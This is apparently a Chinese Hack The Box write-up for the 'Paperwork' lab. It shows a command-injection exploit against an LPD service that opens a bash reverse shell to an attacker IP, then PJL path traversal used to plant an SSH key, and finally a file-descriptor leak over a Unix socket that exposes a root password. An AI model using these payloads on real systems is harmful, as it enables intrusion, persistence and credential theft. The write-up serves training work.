0%

HTB-Paperwork

HTB-Paperwork

User

先在各个环境配置好dns:

1
10.129.13.50 paperwork.htb

使用rustscan扫描一下开放的端口

发现开放 80、1515 端口

先看80端口:

image-20260715191427567

Internal Processor 连接打开是一个压缩包,解压后得到1515端口服务的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import socket
import threading
import subprocess
import subprocess

VALID_QUEUE = os.environ.get("LPD_QUEUE")


class LpdHandler(threading.Thread):
def __init__(self, sock, addr):
super().__init__()
self.sock = sock
self.addr = addr
self.id = f"[lpd-{addr[1]}]"

def run(self):
try:
data = self.sock.recv(1024)
if not data:
return

command = data[0]

if command == 2:
self.handle_print_job(data)
elif command in (3, 4):
self.sock.send(b"Archive_Printer is ready and printing.\n")

except Exception as e:
print(f"{self.id} Error: {e}")
finally:
self.sock.close()

def handle_print_job(self, data):
queue = data[1:].decode().strip()

if queue not in VALID_QUEUE:
print(f"{self.id} Rejected: Invalid queue '{queue}'")
self.sock.send(b"\x01")
return
print(f"{self.id} Accepted job for queue: {queue}")
while True:
chunk = self.sock.recv(1024)
if not chunk:
break

subcommand = chunk[0]
self.sock.send(b"\x00")
parts = chunk[1:].decode(errors="ignore").split()
if not parts:
continue
size = int(parts[0])
content = b""
while len(content) < size:
content += self.sock.recv(size - len(content) + 1)

decoded_content = content.decode(errors="ignore")

job_name = "Unknown"
for line in decoded_content.split("\n"):
line = line.strip()
if line.startswith("J"):
job_name = line[1:]
break

print(f"{self.id} Executing archive for: {job_name}")
subprocess.Popen(
f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True
)

self.sock.send(b"\x00")
self.sock.send(b"\x00")
while self.sock.recv(4096):
pass
break


class LpdServer:
def __init__(self, ip="0.0.0.0", port=1515):
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.server.bind((ip, port))
self.server.listen(100)
print(f"[*] LPD Server listening on {port}")

def run(self):
while True:
sock, addr = self.server.accept()
LpdHandler(sock, addr).start()


if __name__ == "__main__":
LpdServer(port=1515).run()

可以明显发现该服务存在命令注入漏洞,位于:

1
2
3
subprocess.Popen(
f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True
)

但是有一个VALID_QUEUE参数检验,然而web页面直接将这个参数暴露出来了,我们可以直接写脚本执行命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import socket
import time


def exploit_lpd(host="127.0.0.1", port=1515, queue="default"):
# 构造带命令注入的 payload
evil = "$(bash -c 'bash -i >& /dev/tcp/10.10.17.114/4445 0>&1')"
payload = f"foo'; {evil}; echo 'hacked"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

# Step 1: 发送打印任务请求 (命令码 2)
s.sendall(b"\x02" + queue.encode() + b"\n")
time.sleep(0.2)

# Step 2: 发送控制文件头
control = f"Hlocalhost\nPuser\nJ{payload}\n".encode()
ctrl_size = len(control)
ctrl_header = b"\x02" + str(ctrl_size).encode() + b" cfA001localhost\n"
s.sendall(ctrl_header)
time.sleep(0.2)

# 接收服务器的 ACK
print("Header ACK:", s.recv(1024))

# Step 3: 发送控制文件内容
s.sendall(control)
time.sleep(0.2)
s.sendall(b"\x00") # 控制文件结束 ACK

print(f"[+] Exploit sent! Payload: {payload}")
time.sleep(1)
s.close()


if __name__ == "__main__":
exploit_lpd(host="paperwork.htb", queue="archive_intake")

然后开启监听获得反弹shell

进入系统后发现我们是lp用户,权限很低,看看当前服务器内有没有存在可疑进程

1
2
3
4
5
6
7
8
9
10
11
lp@paperwork:/opt/LPDServer$ ss -antpl
ss -antpl
State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 100 127.0.0.1:9100 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 100 0.0.0.0:1515 0.0.0.0:* users:(("python3",pid=985,fd=3))
LISTEN 0 128 127.0.0.1:1337 0.0.0.0:*
LISTEN 0 4096 [::]:22 [::]:*

简单测试后发现内网地址存在两个监听端口:9100和1337,漏洞位置存在9100端口(1337端口做到最后也没发现是什么东西)

我们把他代理出来测试

这里有一个坑,千万不要使用msf的portfwd功能进行端口转发,会有传输信息不全的bug。建议使用chisel

在服务器端上传chisel并执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
lp@paperwork:/tmp$ wget 10.10.17.114:8000/chisel
wget 10.10.17.114:8000/chisel
Prepended http:// to '10.10.17.114:8000/chisel'
--2026-07-15 09:13:14-- http://10.10.17.114:8000/chisel
Connecting to 10.10.17.114:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10571938 (10M) [application/octet-stream]
Saving to: ‘chisel’
2026-07-15 09:13:46 (342 KB/s) - ‘chisel’ saved [10571938/10571938]

lp@paperwork:/tmp$ ./chisel server -p 9000 --reverse &
./chisel server -p 9000 --reverse &
[1] 1759

在攻击机连接并指定端口转发:

1
2
3
4
r3tr0@CyberSwat ~# chisel client paperwork.htb:9000 127.0.0.1:9100:127.0.0.1:9100
2026/07/15 17:17:09 client: Connecting to ws://paperwork.htb:9000
2026/07/15 17:17:09 client: tun: proxy#127.0.0.1:9100=>9100: Listening
2026/07/15 17:17:14 client: Connected (Latency 370.9864ms)

经过各种测试和查阅资料,发现是惠普 HP 打印机的PJL协议,编写脚本手动测试后发现存在任意文件读取和任意文件上传并且同时也泄露了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
@PJL FSUPLOAD NAME="jetdirect.py" SIZE=5119
#!/usr/bin/env python3

import os
import sys
import socket
import logging
import re
import hashlib

class PJLServer:
def __init__(self):
self._server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

def listen(self, port=9100, backlog=100):
self._server.bind(("127.0.0.1", port))
self._server.listen(backlog)
logging.info("Listening on port %d" % port)

def accept(self):
client, addr = self._server.accept()
logging.info("[%s] connected" % addr[0])
return PJLClient(client, addr[0])

class PJLClient:
def __init__(self, client, address):
self._client = client
self._address = address

def get_line(self):
"""Reads until a newline to get a single PJL command."""
line = b""
while True:
char = self._client.recv(1)
if not char: return None
line += char
if char == b"\n": break
return line

def reply(self, message):
if isinstance(message, str):
message = message.encode("utf-8")
self._client.sendall(message)

def close(self):
self._client.close()

class Filesystem:
def __init__(self, root_dir):
self._root = os.path.abspath(root_dir)

def _translate(self, path):
clean = path.replace("0:", "").replace("\\", "/").lstrip("/")
return os.path.normpath(os.path.join(self._root, clean))

def listdir(self, name=""):
target = self._translate(name)
if not os.path.exists(target): return "FILEERROR=1"
try:
items = os.listdir(target)
res = [". TYPE=DIR", ".. TYPE=DIR"]
for i in items:
p = os.path.join(target, i)
res.append(f"{i} TYPE={'DIR' if os.path.isdir(p) else 'FILE'} SIZE={os.path.getsize(p)}")
return "\n".join(res)
except: return "FILEERROR=1"

def read(self, path):
target = self._translate(path)
if os.path.isfile(target):
with open(target, "rb") as f: return f.read()
return None

def write(self, path, data):
target = self._translate(path)
try:
os.makedirs(os.path.dirname(target), exist_ok=True)
with open(target, "wb") as f: f.write(data)
return "OK"
except: return "FILEERROR=1"

fs = None

def handle_download(command, client):
m = re.search(r'NAME\s*=\s*"([^"]+)"\s*SIZE\s*=\s*(\d+)', command, re.I)
if not m: return "FILEERROR=1"
path, size = m.group(1), int(m.group(2))

logging.info(f"Receiving file: {path} ({size} bytes)")
data = b""
while len(data) < size:
chunk = client._client.recv(min(size - len(data), 4096))
if not chunk: break
data += chunk
return fs.write(path, data)

def handle_upload(command):
m = re.search(r'NAME\s*=\s*"([^"]+)"', command, re.I)
if not m: return "FILEERROR=1"
path = m.group(1)
data = fs.read(path)
if data is None: return "FILEERROR=1"
header = f'@PJL FSUPLOAD NAME="{path}" SIZE={len(data)}\n'.encode("utf-8")
return header + data

if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <PORT> <ROOT_DIR>")
sys.exit(1)

fs = Filesystem(sys.argv[2])
LOG_FILE = "/home/archivist/printer/logs/commands.log"
logging.basicConfig(
level=logging.INFO,
format="%(message)s",
handlers=[
logging.FileHandler(LOG_FILE),
logging.StreamHandler(sys.stdout)
]
)
server = PJLServer()
server.listen(int(sys.argv[1]))

while True:
client = server.accept()
while True:
line_bytes = client.get_line()
if not line_bytes: break

# Filter protocol noise
if b"@" not in line_bytes: continue
line = line_bytes[line_bytes.find(b"@"):].decode("utf-8", errors="ignore").strip()

直接上传ssh密钥到用户下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

r = remote("127.0.0.1", 9100)
with open("/mnt/c/Users/r3tr0/.ssh/id_ed25519.pub", "r") as f:
data = f.read()
size = len(data)
payload = f'@PJL FSDOWNLOAD FORMAT:BINARY NAME="../../../../../../home/archivist/.ssh/authorized_keys" size={size}\r\n'
payload += data
r.send(payload.encode())
res = r.recv()
log.success(res)
# with open("shadow", "w") as f:
# f.write(data.decode())

得到返回结果,成功上传:

1
2
3
4
5
6
└─$ python poc.py
[+] Opening connection to 127.0.0.1 on port 9100: Done
/home/retro/.pyenv/versions/3.14.5/lib/python3.14/site-packages/pwnlib/log.py:347: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self._log(logging.INFO, message, args, kwargs, 'success')
[+] OK
[*] Closed connection to 127.0.0.1 port 9100

也可以使用攻击工具:RUB-NDS/PRET: Printer Exploitation Toolkit - The tool that made dumpster diving obsolete.,但是这道题目是使用python搭建的PJL协议模拟器,这个工具支持并不好,只能看到id和列出的文件:

1
2
3
4
5
6
7
127.0.0.1:/> ls                                                                                                     
@PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=65535
. TYPE=DIR
.. TYPE=DIR
logs TYPE=DIR SIZE=4096
jetdirect.py TYPE=FILE SIZE=5119
- 5119 jetdirect.py

ssh连接,或者直接通过PJL协议读取user.txt

root

ssh 连入服务器后,还是查看进程,发现两个可以的root进程:

1
2
root         971  0.0  0.8  44060 33368 ?        Ss   08:50   0:01 /usr/bin/python3 /root/staging/CorpoSite/app.py  
root 1481 0.0 0.4 28724 18476 ? Ss 08:50 0:00 /usr/bin/python3 /usr/bin/paperwork-daemon

第一个没权限,直接看第二个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/python3
import socket, os, array, hashlib
import zipfile
import shutil

try:
admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY)
except Exception:
os._exit(1)

LOG_PATH = "/home/archivist/printer/logs/commands.log"

def get_admin_secret():
data = os.pread(admin_fd, 1024, 0).decode().strip()
if "ADMIN_PASSWORD=" in data:
return data.split("ADMIN_PASSWORD=")[1].split("\n")[0]
return data

def scan_for_malice():
if not os.path.exists(LOG_PATH):
return False
with open(LOG_PATH, 'r') as f:
content = f.read().upper()
if any(trigger in content for trigger in ["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"]):
return True
return False

def trigger_lockdown(conn):
try:
log_fd = os.open(LOG_PATH, os.O_RDONLY)
evidence_bundle = array.array("i", [log_fd, admin_fd])
msg = b"ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED."
conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])

zip_path = "/root/quarantine/evidence.zip"
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
zipf.write(LOG_PATH, arcname="commands.log")


with open(LOG_PATH, 'w') as f:
f.truncate(0)

os.close(log_fd)
except:
pass

def main():
socket_path = "/run/paperwork/mgmt.sock"
if os.path.exists(socket_path): os.remove(socket_path)
if not os.path.exists("/run/paperwork"): os.makedirs("/run/paperwork")

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.bind(socket_path)
os.chmod(socket_path, 0o660)
os.chown(socket_path, 0, 1000)
s.listen(5)

while True:
conn, _ = s.accept()

if scan_for_malice():
trigger_lockdown(conn)
else:
secret = get_admin_secret()
token = hashlib.sha256(f"SYSTEM_CLEAN:{secret}".encode()).hexdigest()
conn.sendall(f"STATUS: SYSTEM_CLEAN\nSIGNATURE: {token}\n".encode())

conn.close()

if __name__ == "__main__":
main()

root启动脚本后,检查用户/home/archivist/printer/logs/commands.log目录下的log文件,如果存在["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"]其中之一就会往sock里面写入一条警告信息和自己的密码凭证,然而这个sock文件的权限也支持普通用户连入,那么我们直接编写脚本连入直接读取root用户的密码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import socket
import array
import os

SOCK_PATH = "/run/paperwork/mgmt.sock"

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(SOCK_PATH)

# 接收带 SCM_RIGHTS 的消息
msg, ancdata, _, _ = s.recvmsg(1024, socket.CMSG_LEN(array.array("i", [0]).itemsize * 2))

print("[+] Received:", msg.decode(errors='ignore'))

# 提取 fds
for cmsg_level, cmsg_type, cmsg_data in ancdata:
if cmsg_level == socket.SOL_SOCKET and cmsg_type == socket.SCM_RIGHTS:
fds = array.array("i")
fds.frombytes(cmsg_data[:len(cmsg_data) - len(cmsg_data) % fds.itemsize])
print(f"[+] Received {len(fds)} file descriptors: {fds.tolist()}")

# fd[0] 是 log,fd[1] 是 admin_pins.conf
for i, fd in enumerate(fds):
try:
content = os.pread(fd, 4096, 0).decode(errors='ignore')
print(f"\n--- FD {i} content ---\n{content}")
if "ADMIN_PASSWORD" in content:
print(">>> ADMIN PASSWORD FOUND!")
except Exception as e:
print(f"Error reading fd {fd}: {e}")

s.close()

拿到密码:

1
2
3
4
5
6
7
8
9
10
11
archivist@paperwork:~$ python3 exploit.py 
[+] Received: ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED.
[+] Received 2 file descriptors: [4, 5]

--- FD 0 content ---


--- FD 1 content ---
ADMIN_PASSWORD=ApparelMortuaryCedar22

>>> ADMIN PASSWORD FOUND!

登录root的ssh账号即可获得flag